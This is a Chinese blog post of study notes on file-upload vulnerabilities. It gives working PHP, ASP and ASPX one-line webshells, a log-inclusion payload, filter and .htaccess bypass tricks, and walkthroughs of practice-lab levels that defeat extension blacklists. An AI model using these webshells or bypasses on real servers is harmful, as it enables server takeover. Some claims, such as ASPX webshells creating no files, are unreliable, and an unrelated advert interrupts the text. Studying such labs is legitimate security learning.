文件上传漏洞总结2

news2024/11/27 10:42:40

文件上传的大体都已经学习过了 这个假期在给他强化一下

什么是webshell

webshell是web入侵的脚本攻击工具。webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

一句话木马基本原理

利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以通过中国蚁剑获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。

  1. <?php @eval($_POST['cmd']); ?>

**原理理解:**相当于为中国蚁剑创建一个可以不断访问网站的门,蚁剑可以通过这个密码‘cmd’,传递一些可以为eval执行的字符串代码,最终呈现的效果就是我们可以管理整个网站的文件。(这个密码不是正经密码,而是内置的一个参数名称,通过蚁剑可以利用这个参数名称上传指定参数,包括可执行的语句)

例如:常见的php一句话原理
<?php eval($_POST['a'])?>
他是shell.php的文件内容
因为只有简短的一行,所以叫一句话木马
通过apache服务器解析php文件,eval函数执行命令,从而控制服务器

用蚁剑、菜刀等工具提升了效率


蚁剑一个软件,你告诉他木马在网站的哪个位置,密码是什么,连接了,点一下,就相当于执行了ls等等各种命令,并且图形化的告诉你有哪些文件

蚁剑连接一句话木马

蚁剑通过连接一句话木马,每个功能操作,都是通过 POST 方式传递不同的执行代码给一句话木马,当一句话木马接收到蚁剑提交过来的数据(也就是代码),通过 eval 函数在目标服务器上执行,从而实现了控制目标服务器。
 

这是目前我已经有的一句话木马,其中的1234.jpg/png 都是和.htaccess .user.ini文件相对应的

 日志注入

nginx服务器常见的存储日志地址 /var/log/nginx

例:我们可以先使用include函数包含日志来查看日志的内容,并且发现,关键字log被过滤,因此可以使用字符串的拼接,payload如下:

GIF89a

<?=include"/var/l"."og/nginx/access.lo"."g"?>

过滤符号[] ;()

1.过滤“[]”

当方括号被过滤,我们可以考虑直接执行system函数来获取flag

例 : system('cat ../f*');

除了直接使用system以外,还可以使用{}来代替[],上传以下一句话木马同样可以实现<?=eval($_REQUEST{'cmd'});?>

2.过滤“;”

 <?= system('cat ../fl*')?>

3.过滤"()"

当()被过滤,在php中,在反引号中括起来的内容,表示执行的是系统命令

例如:system('ls') 与 `ls`功能相同

4.过滤“<?”

可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。

AddType application/x-httpd-php .abc

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"

把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php phpinfo();?>加密变成PD9waHAgcGhwaW5mbygpOz8+

5.php

当对文件内容里的php进行了过滤时,可以采用php短标签来绕过 

#常规标签 <?php ?>

#php短标签 <?= >

 图片马

一般都是只在图片的内容里面添加一句话马,然后上传到服务器上,在通过修改上传包名,或者修改路径,或者后缀名,或者让服务器抛出异常,从而让马运行起来的一个过程。惠州网站建设http:fz.tywl88.com认为,目前这类的马主要是想通过上传来突破服务器的防御。而我们常见的识别后缀名,或者文件类型的方式。不能拦截这类的请求。

目前常见的攻击就是

1,通过brupsuite这类的工具来,修改上传参数,强行绕过js的验证,如果你是通过js验证来过滤的话,这个工具基本就完成突破了。所以从这个方面来说,你要在服务器端,增加一个后端的验证。

2,如果是单纯在后台过滤用户名的话,也是可以通过刚才那个工具来绕过的。后缀名的验证其实这个绕过方式比较多。比如,图片文件名是a.jpg,可以用a.php.jpg来进行伪装。这个也是比较容易突破的,还有就是可以用工具修改上传文件的。

3,还有个更加隐蔽的方法,就是在图片里面加一段一句话马,这个马更加隐蔽,你平时看的时候,基本发现不了,因为看起来就跟普通图片是一样的。只有右键用记事本查看的时候,才能看的到。

将一句话木马加载到图片最后,构造图片马。
在这里插入图片描述
这个时候一句话木马存在于图片txt文档最后。但是图片马并不能直接与蚁剑连接,因为图片在网站中的解析格式不是php,蚁剑不能通过这个后门干坏事。
需要使用文件包含漏洞 单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马。

phtml文件

PHTML(有时叫做PHP)网页是一种包含PHP(一种和JavaScript或 Microsoft VBScript类似的语言)脚本的网页和ASP一样,PHP脚本镶嵌在网页的HTML代码之中。在页面被发送给请求的用户之前,网页服务器调用PHP解释程序来解释和执行PHP脚本。含有PHP脚本的网页通常都以“.php”、“.php3”或“.phtml”作为后缀。和ASP一样,PHP可以被认为是一种“动态网页”。
php3、php4、php5、phtml都会被解析为php执行

asp文件

ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本标记语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。

ASP一句话木马是一种常见的Web后门,攻击者可以通过该后门获取被攻击网站的管理权限。该漏洞可以通过在服务器中上传asp一句话木马马文件,然后通过URL来访问该文件,从而执行任意代码。

<%eval(request("123"))%>

aspx文件

aspx文件是微软的在服务器端运行的动态网页文件,属于ASP.NET技术。ASP.NET是由微软在·NET Framework框架中所提供,开发Web​应用程序的类库​,封装在System.Web.dll文件中,显露出System.Web命名空间,并提供ASP.NET网页处理、扩充以及HTTP通道的应用程序与通信处理等工作,以及Web Service​的基础架构。ASP.NET是ASP技术的后继者,但它的发展性要比ASP技术强大许多。

aspx一句话木马是一种基于ASP.NET框架的Trojan程序,它可以在服务器上执行恶意代码。这种木马可以窃取用户的敏感数据、删除/修改系统文件等,其主要特点包括隐藏、易于传播以及不易发现等。

与其他Trojan相比,aspx一句话木马具有以下几个优势:其一,没有任何文件被创建,避免了杀毒软件的检查;其二,不需要管理员密钥就可以访问远程服务器,并且可以执行任意代码。

asp与aspx的区别

.asp是asp的文件后缀名

.aspx是asp.net的文件后缀名

说直白些,这种文件就是动态的网页~

asp.net又叫 asp+ 是动态​网络编程​的一种设计语言。

所谓动态网 就如 bbs 留言板聊天室等等```​

可以用 asp,php,jsp.net来写

那么asp就是asp.net的前身

 以上这些是我补充进来的

墨者学院 WebShell文件上传漏洞分析溯源(第1题)

打开网页 发现上传窗口 上传php一句话木马 发现上传失败

上传一个照片看看 

发现成功

怀疑是文件类型限制 抓包修改一下  发现上传失败

 查看他的目标 尝试上传php5

 

 上传成功,用蚁剑连接

 在var/www/html中找到flag

 

 upload-labs

第七关

第七关提示

 源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

从源码中可以看出没有对文件名后缀的空白使用trim()进行过滤,借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。

但是在程序中检查代码的时候检查到空格却不能自动删除空格。同时又绕过了黑名单的验证

 trim() 函数

trim() 方法用于删除字符串的头尾空白符,空白符包括:空格、制表符 tab、换行符等其他空白符等。

trim() 方法不会改变原始字符串。

trim() 方法不适用于 null, undefined, Number 类型。

解题方法

上传php文件 接着抓包 在后缀名后面添加空格 在用蚁剑连接即可

点击forword 返回包 发现上传成功

第八关

 查看提示以及源码

发现没有对后缀名末尾的点进行处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

bp抓包 再返回

 

第九关

 提示及源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有对后缀名中的’::$DATA’进行过滤。

补充:在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

 

抓包进行绕过

 

第十关

 

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过 

 strrchar函数

 解题

$file_name = deldot($file_name);//删除文件名末尾的点,重点就是这里。在代码中可以看出对所有的过滤都是采用的是一次性过滤,这里删除末尾的点. 只删除了一次,那么我们就可以使用

点+空格+点绕过 ,deldot()这个函数的作用就是删除末尾的点,当检查到末尾的点时,他会进行删除,然后继续先前检测点,但是这个deldot这个函数遇到空格会停下来,相等于碰到空格就终止操作。所以我们 只要在上传文件的时候使用 点+空格+点 绕过就好了,这样我们在检查的文件

原本是1.php. . ,就变成了1.php. ,那么1.php.  ,既不在黑名单中又可以成功进行绕过,又利用了系统的特性 ,在保存这个文件的时候系统又自动去除掉了1.php. 末尾的点。最终保存在电脑的文件就变成了1.php
但是 我的没有按这种方法绕过去 用双写后缀绕过了

第十一关

提示及源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

 这一关重点的是str_ireplace($deny_ext,"", $file_name);这个函数,将文件名中出现在黑名单的这些后缀都替换成空,假如我们上传一个phpinfo.php被过滤后就变成了phpinfo,就没有后缀无法解析了,但是她这次也是使用的是一次性过滤,比如说我们上传phpinfo.phpphp,那么在一次性被过滤后我们原本上传的phpinfo.phpphp,就变成了phpinfo.php。 前面的php被匹配到替换成功,但是后面的第二个php没有被替换成空。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/793836.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++初阶之一篇文章让你掌握string类(了解和使用)

string类及其模拟实现 1.我们为什么要学习string类2. 标准库中的string类2.1 string类的实例化标准2.2 了解string 3.string类的常用接口说明3.1 string类对象的常见构造3.2 string类对象的容量操作3.3 string类对象的元素访问3.4 string类对象的Iterators&#xff08;迭代器&a…

Websocket协议-http协议-tcp协议区别和相同点

通讯形式 单工通讯-数据只能单向传送一方来发送数据&#xff0c;另一方来接收数据 半双工通讯-数据能双向传送但不能同时双向传送 全双工通讯-数据能够同时双向传送和接受 注&#xff1a;http的通讯方式是分版本 http1.0&#xff1a;单工。因为是短连接&#xff0c;客户端…

C++笔记之对指针类型的变量进行+1操作

C笔记之对指针类型的变量进行1操作 在C中&#xff0c;对指针类型的变量进行"1"操作会根据指针的数据类型而有所不同。这涉及到指针的算术运算&#xff0c;C中的指针算术运算是根据指针所指向的数据类型的大小来进行的。 code review! 文章目录 C笔记之对指针类型的…

扫地机语音提示芯片,智能家居语音交互首选方案,WT588F02B-8S

智能家居已经成为现代家庭不可或缺的一部分&#xff0c;而语音交互技术正是智能家居的核心。在智能家居设备中&#xff0c;扫地机无疑是最受欢迎的产品之一。然而&#xff0c;要实现一个更智能的扫地机&#xff0c;需要一颗语音提示芯片&#xff0c;以提供高质量的语音交互体验…

【iOS】—— 持久化

文章目录 数据持久化的目的iOS中数据持久化方案数据持久化方式分类内存缓存磁盘缓存 沙盒机制获取应用程序的沙盒路径沙盒目录的获取方式 持久化数据存储方式XML属性列表Preferences偏好设置&#xff08;UserDefaults&#xff09;数据库存储什么是序列化和反序列化&#xff0c;…

构建外卖系统小程序,订单管理功能实现步骤详解

外卖系统小程序是近年来越来越受欢迎的一种订餐方式&#xff0c;方便快捷&#xff0c;并且可以减少人与人之间的接触&#xff0c;更加卫生安全。为了搭建一个完善的外卖系统小程序&#xff0c;订单管理功能是必不可少的一部分。在本文中&#xff0c;我们将详细介绍如何实现订单…

java 支持jsonschema

入参校验产品化 schema_xsd可视化编辑器_个人渣记录仅为自己搜索用的博客-CSDN博客 jsonchema的生成 支持v4的jackson-jsonSchema GitHub - mbknor/mbknor-jackson-jsonSchema: Generate JSON Schema with Polymorphism using Jackson annotations jackson-module-jsonSchema …

三、函数-4.日期函数

一、常见函数 二、示例 -- 返回当前日期current date 2023-07-26 select curdate();-- 返回当前时间current time 15:21:14 select curtime();-- 返回当前日期和时间 2023-07-26 15:21:33 select now();-- 获取指定data的年份 2023 select year(now());-- 获取指…

C++教程 从0开始

0基础C教程 从0开始 课堂现在开始 如需学习 请订阅该标签 什么是C&#xff1f; 这个不是太重要 自行查看该链接即可 C_百度百科C&#xff08;c plus plus&#xff09;是一种计算机高级程序设计语言&#xff0c;由C语言扩展升级而产生&#xff0c;最早于1979年由本贾尼斯特劳…

SpringBoot2为什么默认使用CGLib不再使用JDK动态代理

SpringBoot2为什么默认使用CGLib不再使用JDK动态代理 CGLib和JDK动态代理对比1. 不需要实现接口2. 性能3. 代理对象的创建4. 调用方法 2. CGLib使用 CGLib和JDK动态代理对比 1. 不需要实现接口 JDK动态代理类要求目标类必须实现接口,而CGLib动态代理可以直接代理普通类(非接口…

【大数据运维-ambari】自定义fair-scheduler.xml配置文件导致ambari-server启动失败

将自定义fair-scheduler.xml放到 /var/lib/ambari-server/resources/stacks/HDP/3.0/services/YARN/configuration目录下&#xff0c;重启ambari-server失败&#xff1a; 日志显示&#xff1a; 进ambari数据库查看发现数据应该是对的。 删掉之前自定义的文件fair-scheduler.x…

Visual Studio2022报错 无法打开 源 文件 “openssl/conf.h“解决方式

目录 问题起因问题解决临时解决方案 问题起因 近一段时间有了解到Boost 1.82.0新添加了MySQL库&#xff0c;最近一直蠢蠢欲动想要试一下这个库 所以就下载了源码并进行了编译&#xff08;过程比较简单&#xff0c;有文档的&#xff09; 然后在VS2022中引入了Boost环境&#xf…

628. 三个数的最大乘积

628. 三个数的最大乘积 class Solution {public int maximumProduct(int[] nums) {Arrays.sort(nums); return Math.max(nums[nums.length-1]*nums[nums.length-2]*nums[nums.length-3],nums[0]*nums[1]*nums[nums.length-1]);} }

Tribon二次开发-Excel/VBA数据抽取

在Tribon的启动目录下有两个样板Excel&#xff0c;通过在Excel里面抽取数据。 源文件存储在C:\Tribon\M3\customise 打开OutfiList&#xff0c;出现一系列按钮&#xff0c;都是抽取数据的功能按钮&#xff0c;可以点击按钮看看界面&#xff0c; 按照界面提示输入相关参数&…

LeetCode·每日一题·771. 宝石与石头·哈希

作者&#xff1a;小迅 链接&#xff1a;https://leetcode.cn/problems/jewels-and-stones/solutions/2356302/ha-xi-zhu-shi-chao-ji-xiang-xi-by-xun-ge-jnmr/ 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 著作权归作者所有。商业转载请联系作者获得授权&#xff0…

超长三伏天,“高温”模式下如何清凉一“夏”

俗话说“冷在三九&#xff0c;热在三伏”&#xff0c;三伏天一登场便霸占话题热搜C位&#xff0c;异常闷热的天气不仅容易给生活带来不便&#xff0c;还会对健康造成影响&#xff0c;所以大家要注意科学防暑&#xff0c;掌握正确的避暑指南。 今年三伏天超长待机40天&#x…

小白带你学习linux数据库—用户权限管理(二十九)

前言 数据库用户权限管理是指在数据库管理系统中&#xff0c;对数据库用户进行权限控制和管理的过程。它确定了每个用户可以执行的操作和访问的资源范围。 一、概述 数据库用户权限管理是数据库系统中非常重要的一个方面&#xff0c;它用于控制不同用户访问和操作数据库的权…

官方劝退?!大学专业批量撤销!计算机专业还“安全”吗?

大学生人人都有本难念的经。现如今比“毕业即失业”的应届生更惨的&#xff0c;大概就是专业被撤销的大学生了。 一觉醒来&#xff0c;人没毕业&#xff0c;专业就没了&#xff0c;一不小心成了学校里“XX专业”的关门弟子&#xff0c;“还没毕业就被社会淘汰了”。 即便是比较…

基于深度学习的高精度狗狗检测识别系统(PyTorch+Pyside6+YOLOv5模型)

摘要&#xff1a;基于深度学习的高精度狗狗检测识别系统可用于日常生活中检测与定位120类狗狗目标&#xff0c;利用深度学习算法可实现图片、视频、摄像头等方式的狗狗目标检测识别&#xff0c;另外支持结果可视化与图片或视频检测结果的导出。本系统采用YOLOv5目标检测模型训练…

软件检测报告编写注意事项有哪些?权威的软件测评中心安利

软件检测报告是一项对软件进行全面测试和评估的结果总结&#xff0c;通过对软件的功能、性能、安全性等方面的测试&#xff0c;以及通过分析软件的可靠性和稳定性&#xff0c;来评估软件的质量和合规性。那么软件检测报告的编写有哪些注意事项呢? 1、软件检测报告有哪些常见的…